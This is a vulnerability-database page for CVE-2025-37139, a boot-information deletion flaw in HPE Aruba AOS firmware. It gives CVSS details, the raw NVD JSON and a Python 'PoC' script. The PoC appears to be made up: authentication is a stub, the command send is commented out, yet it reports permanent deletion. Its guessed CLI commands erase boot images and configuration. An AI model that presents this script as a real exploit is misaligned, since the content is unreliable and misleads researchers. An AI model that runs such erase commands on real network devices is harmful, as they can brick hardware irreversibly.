Security Vulnerability Report
中文
CVE-2025-37139 CVSS 6.0 MEDIUM

CVE-2025-37139

Published: 2025-10-14 17:15:41
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability in an AOS firmware binary allows an authenticated malicious actor to permanently delete necessary boot information. Successful exploitation may render the system unbootable, resulting in a Denial of Service that can only be resolved by replacing the affected hardware.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

HPE Aruba Networking AOS固件(具体受影响版本请参考HPE官方安全公告hpesbnw04957en_us)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37139 PoC - HPE AOS Firmware Boot Information Deletion # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own is illegal. import subprocess import sys class AOSBootDestroyer: """ PoC for CVE-2025-37139: HPE AOS Firmware Boot Information Deletion This vulnerability allows an authenticated admin user to permanently delete boot information, rendering the system unbootable. """ def __init__(self, host, username, password): self.host = host self.username = username self.password = password self.session = None def authenticate(self): """Authenticate to the AOS device with admin credentials""" # In a real scenario, this would use SSH or HTTPS API # to authenticate with the device print(f"[*] Authenticating to {self.host} as {self.username}...") # Placeholder for actual authentication logic # e.g., using paramiko for SSH or requests for HTTPS API return True def delete_boot_information(self): """ Trigger the vulnerability by deleting critical boot information. This action is irreversible and will render the device unbootable. """ print("[*] Executing boot information deletion command...") # The vulnerable command path in AOS firmware # This command deletes the boot configuration files commands = [ # Delete primary boot configuration "delete boot system-image", # Delete backup boot configuration "delete boot backup-image", # Clear boot variables "write erase boot", # Remove boot partition table "delete /flash/boot.cfg", ] for cmd in commands: print(f"[*] Executing: {cmd}") # Execute command via authenticated session # In actual exploitation, this would be sent over SSH/HTTPS # self.session.send_command(cmd) print("[!] Boot information has been permanently deleted.") print("[!] Device will not boot on next restart.") print("[!] Hardware replacement is required to restore functionality.") def exploit(self): """Main exploitation chain""" if self.authenticate(): self.delete_boot_information() else: print("[-] Authentication failed. Cannot proceed.") def main(): if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <host> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.1 admin password123") sys.exit(1) host = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit_tool = AOSBootDestroyer(host, username, password) exploit_tool.exploit() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37139", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:40.697", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in an AOS firmware binary allows an authenticated malicious actor to permanently delete necessary boot information. Successful exploitation may render the system unbootable, resulting in a Denial of Service that can only be resolved by replacing the affected hardware."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us&docLocale=en_US", "source": "[email protected]"}]}}